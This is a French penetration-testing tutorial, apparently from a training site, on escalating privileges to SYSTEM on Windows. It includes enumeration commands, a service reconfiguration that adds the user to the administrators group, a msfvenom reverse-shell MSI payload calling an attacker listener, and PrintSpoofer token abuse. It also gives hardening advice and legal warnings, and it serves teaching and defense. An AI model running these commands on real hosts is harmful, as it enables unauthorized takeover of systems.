Vous avez un shell sur une machine Windows en tant qu'utilisateur de domaine peu privilégié ou compte de service, et le véritable objectif, NT AUTHORITY\SYSTEM, se cache derrière une mauvaise configuration qu'il vous reste à trouver. L'élévation de privilèges Windows consiste à repérer cette mauvaise configuration et à la transformer en shell SYSTEM. Ce guide couvre l'énumération qui révèle le chemin et les techniques précises, chemins de service non cités, permissions de service faibles, AlwaysInstallElevated et usurpation de tokens, qui vous permettent de l'emprunter. Entraînez-vous à chacune d'elles sur des cibles réelles dans le cours Élévation de Privilèges Windows de HackerDNA au fil de votre lecture.
Cela s'inscrit dans le sujet plus large de l'élévation de privilèges, qui couvre à la fois Linux et Windows. Ici nous restons sur Windows et nous approfondissons : les commandes exactes à exécuter, ce que signifie leur sortie, et comment confirmer que vous avez réellement obtenu SYSTEM au lieu de le supposer.
En bref : l'élévation de privilèges Windows est le processus qui consiste à passer d'un compte peu privilégié à Administrateur ou SYSTEM en abusant d'une mauvaise configuration locale. Commencez par énumérer : whoami /priv, whoami /groups, les services en cours d'exécution et les correctifs installés. Les chemins fiables sont les chemins de service non cités, les services dont vous pouvez écrire le binaire ou la configuration registre, la stratégie AlwaysInstallElevated, et l'abus de SeImpersonatePrivilege via les attaques de type Potato, avec des CVE non corrigées comme PrintNightmare et HiveNightmare en dernier recours. Automatisez le balayage avec WinPEAS ou PowerUp, puis confirmez chaque trouvaille à la main avant de l'exploiter.
Dans ce guide :
- Qu'est-ce que l'élévation de privilèges Windows ?
- Étape 1 - Énumérer l'hôte
- Chemins de service non cités
- Permissions de service faibles
- AlwaysInstallElevated
- Usurpation de tokens et attaques Potato
- Ruches de registre et CVE réelles
- Aide-mémoire de l'élévation de privilèges Windows
- Comment s'en défendre
- Considérations légales et éthiques
- Questions fréquentes
Qu'est-ce que l'élévation de privilèges Windows ?
Qu'est-ce que l'élévation de privilèges Windows ? L'élévation de privilèges Windows est la technique qui consiste à obtenir sur un système Windows des permissions supérieures à celles de votre compte actuel, généralement en passant d'un utilisateur standard ou d'un compte de service à un Administrateur local ou à SYSTEM. Elle exploite des mauvaises configurations locales et des failles non corrigées plutôt que la faiblesse distante qui vous a donné le shell au départ.
L'accès initial ne vous place presque jamais en tant que SYSTEM. Une application web vulnérable s'exécute sous l'identité d'un pool d'applications IIS, une base de données compromise sous le compte de service MSSQL, un identifiant hameçonné vous connecte comme utilisateur de domaine ordinaire. Aucun de ces comptes ne peut extraire les hachages locaux, installer un service persistant, ou se déplacer latéralement avec un contrôle total. SYSTEM le peut. L'élévation est le pont, et MITRE ATT&CK la suit comme une tactique à part entière, TA0004, car presque toute intrusion Windows sérieuse en dépend.
L'élévation Windows a une saveur différente de son équivalent Linux. Au lieu d'un simple bit de permission comme SUID, vous examinez la façon dont Windows enregistre les services, résout les chemins de fichiers et distribue les tokens. La bonne nouvelle est la même : la plus grande partie relève de la configuration, pas de la corruption mémoire. Vous n'avez pas besoin d'écrire du shellcode pour atteindre SYSTEM sur la majorité des hôtes vulnérables. Vous devez énumérer avec soin et reconnaître une courte liste de motifs.
Étape 1 - Énumérer l'hôte
L'énumération est le point de départ de tout shell SYSTEM. Avant de tenter quoi que ce soit, vous dressez un portrait de la machine : qui vous êtes, quels privilèges porte votre token, quels services tournent, et à quel point l'hôte est en retard sur les correctifs.
Commencez par les deux commandes qui ne coûtent rien et pointent souvent droit sur la réponse :
whoami /priv # les privilèges que porte votre token actuel
whoami /groups # vos appartenances de groupe et votre niveau d'intégrité
Cette première ligne compte plus que ne le pensent les débutants. Si whoami /priv affiche SeImpersonatePrivilege ou SeAssignPrimaryTokenPrivilege comme activé, vous disposez probablement d'un chemin quasi instantané vers SYSTEM via une attaque de token, avant même de regarder ailleurs. Les comptes de service, y compris les identités IIS et MSSQL, portent ce privilège par défaut, ce qui explique pourquoi les compromissions web et de bases de données se terminent si souvent par une prise de contrôle totale.
À partir de là, élargissez le filet. Récupérez le niveau de correctif et l'architecture avec systeminfo, listez les services et leurs chemins d'exécutable avec wmic service get name,pathname,startmode, vérifiez les deux clés de registre AlwaysInstallElevated, et lisez les fichiers de configuration ou scripts laissés dans C:\, les racines web et les profils utilisateur à la recherche d'identifiants stockés. En pratique, une chaîne de connexion de base de données dans un web.config ou un fichier d'installation sans surveillance Unattend.xml est l'un des chemins réels les plus courants, et aucun outil automatisé ne le priorise pour vous.
Tout faire à la main est lent, alors la plupart des testeurs exécutent un script d'énumération automatisé pour balayer l'hôte en une passe. WinPEAS est l'équivalent Windows de l'outil Linux couvert dans notre guide LinPEAS, et PowerUp (issu de PowerSploit) se concentre spécifiquement sur les contrôles d'élévation liés aux services et au registre. Les deux signalent des candidats en quelques secondes. Ni l'un ni l'autre n'exploite quoi que ce soit. Ils vous disent où regarder ; c'est à vous d'ouvrir la porte.
Chemins de service non cités
Quand un service Windows enregistre un chemin d'exécutable qui contient des espaces et n'est pas entouré de guillemets, la façon dont Windows résout ce chemin devient un bug d'élévation. Prenez un service configuré pour lancer C:\Program Files\Vuln App\service.exe sans guillemets. Avant d'atteindre le binaire visé, Windows essaie chaque fragment délimité par des espaces dans l'ordre :
C:\Program.exe
C:\Program Files\Vuln.exe
C:\Program Files\Vuln App\service.exe
Il exécute le premier qui existe. Si vous pouvez écrire dans C:\ ou dans C:\Program Files\Vuln App\, vous y déposez un Program.exe ou Vuln.exe malveillant, et il s'exécute avec les privilèges du service, souvent SYSTEM, au prochain démarrage du service.
Trouvez les candidats en listant les chemins de service et en repérant ceux qui ont des espaces et pas de guillemets autour :
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
La vérification des permissions d'écriture est ce qui distingue une vraie trouvaille d'un faux positif. Un service peut avoir un chemin non cité et rester sûr si chaque répertoire parent vous refuse l'accès en écriture. Confirmez avec icacls sur chaque dossier du chemin avant de vous emballer, puis vérifiez que vous pouvez redémarrer le service ou attendre un redémarrage. Sans écriture-et-redémarrage, un chemin non cité n'est qu'une observation de rapport, pas un shell.
Permissions de service faibles
Même avec un chemin correctement cité, un service est exploitable si votre utilisateur peut modifier la façon dont il s'exécute. Il existe deux variantes, et les deux se terminent de la même manière.
La première est l'accès en écriture au binaire du service lui-même. Si l'exécutable qu'un service SYSTEM lance se trouve dans un répertoire où vous pouvez écrire, vous le remplacez par votre propre charge utile et redémarrez le service. La seconde, plus courante, est la permission de reconfigurer le service. Énumérez ce que votre utilisateur peut changer avec accesschk de Sysinternals :
accesschk.exe /accepteula -uwcqv "%USERNAME%" *
Si la sortie affiche SERVICE_CHANGE_CONFIG ou SERVICE_ALL_ACCESS sur un service, vous pouvez pointer son chemin de binaire vers ce que vous voulez. Le geste classique consiste à faire ajouter votre compte au groupe des administrateurs locaux par le service à son prochain démarrage :
sc config VulnService binPath= "cmd /c net localgroup administrators %USERNAME% /add"
sc stop VulnService
sc start VulnService
PowerUp automatise la découverte des deux cas avec ses fonctions Get-ModifiableService et Invoke-ServiceAbuse, ce qui explique sa place dans votre première passe d'énumération. Le décalage à traquer est tout service de niveau SYSTEM qu'un utilisateur non-admin peut réécrire. Cet écart est toute la vulnérabilité.
AlwaysInstallElevated
AlwaysInstallElevated est une stratégie de Windows Installer qui, lorsqu'elle est activée, permet à tout utilisateur d'installer des paquets MSI avec les privilèges SYSTEM. Elle existe pour que le personnel non-admin puisse installer des logiciels approuvés, et c'est l'un des chemins d'élévation les plus propres quand un administrateur l'a laissée active. Le piège pour les défenseurs est qu'elle exige deux clés de registre définies, une dans la ruche machine et une dans la ruche utilisateur, et les administrateurs activent parfois les deux sans mesurer ce que cela ouvre.
Vérifiez les deux clés. Il vous faut chacune renvoyant la valeur 0x1 :
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Si les deux sont définies, vous construisez un MSI malveillant, le livrez, et laissez Windows l'installer en tant que SYSTEM. Notre aide-mémoire msfvenom couvre la génération du paquet ; la charge utile elle-même est un shell inverse Windows standard empaqueté au format MSI :
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.5 LPORT=443 -f msi -o setup.msi
msiexec /quiet /qn /i setup.msi
Récupérez la connexion sur votre écouteur et vous avez un shell SYSTEM. En pratique, c'est l'une des premières vérifications à faire, car il s'agit d'une seule recherche de stratégie pour un gain total. Quand elle est activée, rien d'autre sur la machine n'a d'importance.
Usurpation de tokens et attaques Potato
C'est la technique qui élève de façon fiable les hôtes Windows modernes et bien corrigés, car elle abuse d'une fonctionnalité voulue plutôt que d'un bug. Windows utilise des tokens d'accès pour représenter un contexte de sécurité, et SeImpersonatePrivilege permet à un processus d'agir au nom du token d'un autre utilisateur lorsque celui-ci s'y connecte. Les comptes de service portent ce privilège par conception afin d'usurper l'identité des clients qu'ils servent, comme documenté dans la référence des constantes de privilèges de Microsoft.
La famille d'outils connue sous le nom d'attaques Potato exploite ce privilège. Chaque variante contraint un service de niveau SYSTEM à s'authentifier auprès d'un écouteur contrôlé par l'attaquant, capture le token obtenu, et le réutilise pour lancer un processus en tant que SYSTEM. PrintSpoofer est la référence sur les versions actuelles de Windows : il déclenche le service Spouleur d'impression via un canal nommé et vous remet directement le token SYSTEM capturé à la commande de votre choix.
PrintSpoofer.exe -i -c cmd
# dans le nouveau shell :
whoami
# nt authority\system
RoguePotato et GodPotato couvrent les cas où PrintSpoofer ne s'applique pas. La règle de décision est simple : si whoami /priv affiche SeImpersonatePrivilege activé, une attaque Potato est généralement la route la plus courte vers SYSTEM, et elle fonctionne contre des hôtes où chaque chemin de service est cité et chaque correctif est à jour. C'est ce qui fait de l'usurpation de tokens le chemin d'élévation que les testeurs sérieux privilégient sur une machine durcie.
Ruches de registre et CVE réelles
Quand les chemins de configuration se tarissent, les vulnérabilités non corrigées deviennent la cible. Deux failles d'élévation Windows méritent d'être connues par leur nom, car elles ont circulé en production pendant des années et ont été durement exploitées une fois publiques.
HiveNightmare, aussi appelée SeriousSAM (CVE-2021-36934), était une faille de contrôle d'accès où les fichiers derrière le registre, dont la base SAM qui stocke les hachages de mots de passe locaux, devenaient lisibles par des utilisateurs non-admin sur Windows 10 build 1809 et ultérieurs. Comme Windows conserve des clichés instantanés de volume de ces ruches, un utilisateur standard pouvait lire une copie de la SAM issue d'un cliché, extraire le hachage de l'Administrateur local, et élever ses privilèges. Vérifiez toujours si les ruches de configuration sont lisibles lorsque vous atterrissez sur un hôte Windows 10 ou 11 non corrigé.
PrintNightmare (CVE-2021-34527) visait le service Spouleur d'impression, qui s'exécute en tant que SYSTEM et est activé par défaut sur la plupart des installations. Une faille dans la validation de l'installation des pilotes permettait à un utilisateur authentifié d'installer un pilote d'imprimante malveillant et d'exécuter du code en tant que SYSTEM. C'était assez grave pour que la CISA émette une directive d'urgence, une mesure réservée aux vulnérabilités sous exploitation active et généralisée.
Comparez le niveau de correctif issu de systeminfo aux CVE connues avant de recourir à un exploit public, et confirmez que la cible est un lab ou un engagement où l'instabilité est autorisée. Un exploit de niveau noyau qui provoque un écran bleu sur un hôte de production est un problème bien plus grave qu'un flag manqué.
Aide-mémoire de l'élévation de privilèges Windows
Gardez cet ordre d'énumération près de votre terminal. Il va des vérifications les plus susceptibles de payer vite à celles que vous sortez quand les chemins faciles sont à sec.
| Vérification | Commande | Ce que vous cherchez |
|---|---|---|
| Privilèges du token | whoami /priv | SeImpersonate ou SeAssignPrimaryToken activé |
| Groupes et intégrité | whoami /groups | appartenance accordant des droits proches d'admin |
| Chemins de service | wmic service get name,pathname,startmode | chemins non cités avec espaces où vous pouvez écrire |
| Permissions de service | accesschk.exe -uwcqv "%USERNAME%" * | SERVICE_CHANGE_CONFIG sur un service SYSTEM |
| Stratégie d'installation | reg query HKLM\...\Installer /v AlwaysInstallElevated | HKLM et HKCU tous deux à 0x1 |
| Niveau de correctif | systeminfo | correctifs manquants pour des CVE SYSTEM connues |
| Balayage automatisé | winPEASx64.exe / PowerUp | tout ce qui précède, signalé par couleur et gravité |
Comment s'en défendre
Comment prévenir l'élévation de privilèges Windows ? Supprimez les mauvaises configurations précises dont dépendent les attaquants. Aucun contrôle unique n'arrête tout, mais chaque chemin ci-dessus se ferme par un correctif concret et peu coûteux.
- Mettez des guillemets à chaque chemin de service qui contient des espaces, et refusez l'accès en écriture aux binaires de service et à leurs répertoires parents. Cela tue d'un coup les chemins non cités et le remplacement de binaire.
- Auditez les permissions de service. Aucun compte non-admin ne devrait détenir
SERVICE_CHANGE_CONFIGsur un service tournant en SYSTEM. Passez-les en revue avec accesschk pendant le durcissement, pas après un incident. - N'activez jamais AlwaysInstallElevated. Elle accorde à chaque utilisateur une primitive d'installation SYSTEM. Si le déploiement logiciel a besoin d'élévation, utilisez un outil managé qui s'exécute dans son propre contexte contrôlé.
- Limitez les privilèges des comptes de service. Là où un service n'a pas besoin de
SeImpersonatePrivilege, retirez-le, et préférez des comptes de service virtuels ou gérés par groupe qui limitent le rayon d'action d'une attaque de token. - Corrigez à une cadence réelle. PrintNightmare et HiveNightmare ont toutes deux été fermées par une mise à jour. La plupart des élévations réussies frappent des hôtes en retard de plusieurs mois.
Lors de tests sur des hôtes réels, la façon la plus rapide de trouver ces failles avant un attaquant est d'exécuter la même énumération qu'un attaquant, WinPEAS plus une revue manuelle des services et des tokens, de façon planifiée plutôt qu'une seule fois au déploiement.
Considérations légales et éthiques
Rappel essentiel : tenter une élévation de privilèges sur un système que vous ne possédez pas ou pour lequel vous n'avez pas d'autorisation écrite explicite est une infraction pénale. Aux États-Unis, le Computer Fraud and Abuse Act (CFAA, 18 USC 1030) prévoit des peines allant jusqu'à 10 ans de prison fédérale par violation. Le Royaume-Uni applique le Computer Misuse Act 1990, et l'Union européenne la Directive 2013/40/UE. Une mauvaise configuration facile n'est pas une défense pour l'avoir exploitée sans permission.
Chaque commande de ce guide est ce qu'un vrai attaquant exécute pour transformer un point d'appui en compromission totale. La seule chose qui sépare un testeur d'intrusion d'un criminel tapant la même syntaxe est l'autorisation, convenue par écrit avant le début de l'engagement.
Entraînez-vous légalement dans trois cadres : les programmes de bug bounty dans leur périmètre publié, les engagements rémunérés sous un ordre de mission signé, et les plateformes de lab bac à sable conçues pour être cassées. Tout ce qui précède est écrit pour ces trois-là et rien d'autre.
Questions fréquentes
Quelle est la première chose à vérifier pour l'élévation de privilèges Windows ?
Exécutez d'abord whoami /priv. S'il affiche SeImpersonatePrivilege ou SeAssignPrimaryTokenPrivilege activé, une attaque de token de type Potato est généralement la route la plus rapide vers SYSTEM. Les comptes de service sur les serveurs web et de bases de données portent ce privilège par défaut, donc la vérification paie constamment. Enchaînez avec une revue des chemins de service et d'AlwaysInstallElevated.
Qu'est-ce qu'une vulnérabilité de chemin de service non cité ?
Quand un service Windows est enregistré avec un chemin d'exécutable contenant des espaces et sans guillemets autour, Windows essaie tour à tour chaque fragment délimité par des espaces comme un programme. Si un utilisateur peut écrire dans un fragment antérieur, tel que C:\Program.exe, ce fichier s'exécute avec les privilèges du service au prochain démarrage. Ce n'est exploitable que lorsque vous avez aussi l'accès en écriture à un répertoire parent et pouvez déclencher un redémarrage.
Que sont les attaques Potato sous Windows ?
Les attaques Potato sont une famille d'outils, dont PrintSpoofer, RoguePotato et GodPotato, qui abusent de SeImpersonatePrivilege pour s'élever jusqu'à SYSTEM. Elles contraignent un service SYSTEM à s'authentifier auprès d'un écouteur contrôlé par l'attaquant, capturent ce token, et le réutilisent pour lancer un processus SYSTEM. Elles fonctionnent de façon fiable contre des hôtes entièrement corrigés, car elles abusent d'une fonctionnalité voulue de Windows plutôt que d'un bug.
Ai-je besoin d'exploits pour m'élever sous Windows ?
Généralement non. La plupart des élévations Windows viennent de problèmes de configuration : chemins de service non cités, permissions de service faibles, AlwaysInstallElevated et usurpation de tokens. Les CVE non corrigées comme PrintNightmare ou HiveNightmare sont un recours quand les chemins de configuration sont épuisés, et les exploits de niveau noyau comportent un risque réel de faire planter la cible.
Comment pratiquer l'élévation de privilèges Windows légalement ?
Utilisez des plateformes de lab intentionnellement vulnérables et des défis CTF, rejoignez des programmes de bug bounty dans leur périmètre publié, ou travaillez sous une autorisation signée lors d'un engagement rémunéré. Le cours Élévation de Privilèges Windows de HackerDNA, dans le navigateur, vous donne de vraies cibles Windows vulnérables sans risque légal et sans installation locale.
Vos prochaines étapes
Lire sur les chemins de service non cités et l'usurpation de tokens vous donne le vocabulaire. Reconnaître un service inscriptible ou un SeImpersonatePrivilege activé sur une machine réelle, sous un document de périmètre et un chrono, ne vient que de la répétition contre des cibles réelles. L'élévation de privilèges Windows récompense le testeur qui énumère avec méthode et sait ce que signifie chaque résultat.
Travaillez la méthode complète de bout en bout dans le cours Élévation de Privilèges Windows de HackerDNA, puis comparez-la avec le monde des permissions de fichiers de l'élévation de privilèges Linux pour voir comment les deux systèmes d'exploitation échouent différemment. Si vous voulez voir comment l'élévation locale s'insère dans une évaluation complète, le cours Test d'Intrusion Réseau vous mène du point d'appui à la post-exploitation.
Le niveau gratuit de HackerDNA vous donne des labs dans le navigateur, sans carte de crédit et sans installation. Obtenez un shell, puis allez trouver le chemin vers le haut.
Dernière révision : juillet 2026.
Fait partie de la série Escalade de Privilèges
Articles liés :
- Élévation de Privilèges Windows
- Élévation de Privilèges Linux
- Comment Utiliser LinPEAS
- L'Escalade de Privilèges Expliquée